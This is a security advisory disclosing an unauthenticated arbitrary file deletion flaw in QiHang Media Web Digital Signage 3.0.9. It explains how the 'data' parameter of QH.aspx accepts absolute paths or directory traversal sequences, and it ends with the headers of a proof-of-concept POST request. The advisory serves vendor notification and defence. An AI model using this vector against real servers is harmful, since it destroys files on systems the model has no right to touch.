QiHang Media Web Digital Signage 3.0.9 Arbitrary File Deletion

QiHang Media Web Digital Signage version 3.0.9 suffers from an unauthenticated arbitrary file deletion vulnerability.

MD5 | 4ec2d17bffc03ecbcdff736a646ec399

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion

Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version:

Summary: Digital Signage Software.

Desc: Input passed to the 'data' parameter in 'QH.aspx' for delete action
is not properly sanitised before being used to delete files. This can be
exploited by an unauthenticated attacker to delete files with the permissions
of the web server using their absolute path or via directory traversal
sequences passed within the affected POST parameter.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
Microsoft Windows Server 2003 Enterprise Edition
ASP.NET 4.0.30319
HowFor Web Server/
Microsoft ASP.NET Web QiHang IIS Server

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2020-5580
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5580.php



POST /QH.aspx HTTP/1.1
Content-Length: 105
User-Agent: Eraser
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


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